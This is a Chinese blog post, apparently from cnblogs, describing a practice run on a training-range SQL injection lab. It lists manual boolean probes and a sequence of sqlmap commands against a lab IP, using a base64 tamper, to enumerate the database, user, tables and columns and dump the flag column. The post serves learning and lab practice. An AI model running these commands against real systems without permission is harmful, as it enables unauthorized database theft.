• sqlmap注入工具----一次简单的注入(实战)


    最近在学习网络安全,挖洞避免不了要使用许多工具,使用著名注入工具sqlmap的时候,对于英语不怎么好的我就比较难受了,本来就不会使用,加之又是英语的,简直难受。上网找了好多详细教程,但是命令实在是太多,感觉自己不可能一下就全部学会,于是决定一点一点慢慢来,用实战来慢慢熟悉这个工具的使用-----我相信通过每一次的记录我会慢慢变强!

    这是墨者学院一个SQL注入漏洞靶场:http://219.153.49.228:49835/show.php?id=MQo=     【目的是寻找flag】

    【想练习的可以去墨者学院-->在线靶场-->web安全-->sql注入-->sql注入实战-MySQL】 不启动靶场进不去这个链接

    进入网站提示的信息如下图所示:

        

    从这个网页提示信息我们也可以窥视出一些东西:

    • 它使用的数据库类型是Mysql
    • key的值就存储于变量里面(很可能key值就是我们苦苦寻找的flag,那肯定是存储在数据库里面的)
    1. 先对其进行手工注入:你们懂得就是 在URL后面分别添加AND 1=1 和 AND 1=2,看两次返回结果是不是一样,不一样说明存在注入漏洞。不知道为啥我的两次返回界面都是空白的。

    2. 鉴于这种类型的URL存在注入可能性很大,那必然得用sqlmap跑一跑呐,不放过任何机会。

    • 测试注入:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo=

    结果如下:

        

    sqlmap返回信息显示:参数 id 可能不存在注入,可以尝试增加尝试等级(level),或者增加执行测试的风险(risk)。如果你觉得存在某种保护机制,可以使用tamper篡改注入数据。

    • 根据上面提示信息我们增加level和tamper:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode

        

    接下来就是常规拖库操作了:

    • 先查一下数据库名:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode --current-db 

      【显示数据库名是test】

        

    • 在查一下当前用户:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 --current-user  

      【显示当前用户是admin(权限等级挺高,有戏)】

        

    • 查一下数据库test中有哪些表:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables    

      【结果只有一个表:data】

        

    • 查一下data表中有几列:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test -T data --columns    

      【结果显示有4列】

        

    • 从上表中我们可以很清楚就看到thekey所在列的值就是我们苦苦追寻的flag,所以最后一步就是查询thekey的值:

      sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables -C thekey --dump

        

    到此我们成功获取flag。

    注:这只是我的练习具体过程,不是sqlmap命令详解。

                

  • 相关阅读:
    【java】之位运算^,&,<<,>>,<<<,>>>总结
    【java】之算法复杂度o(1), o(n), o(logn), o(nlogn)
    【springboot】之自动配置原理
    【git】之使用shell脚本提交代码
    【linux】之日志查看
    【mysql】字段类型和长度的解释
    老生常谈:++a与a--区别
    关于tr:hover变色的问题
    服务器端渲染VS浏览器端渲染
    HTTP状态码302、303、307区别
  • 原文地址:https://www.cnblogs.com/dzkwwj/p/9484671.html
Copyright © 2020-2023  润新知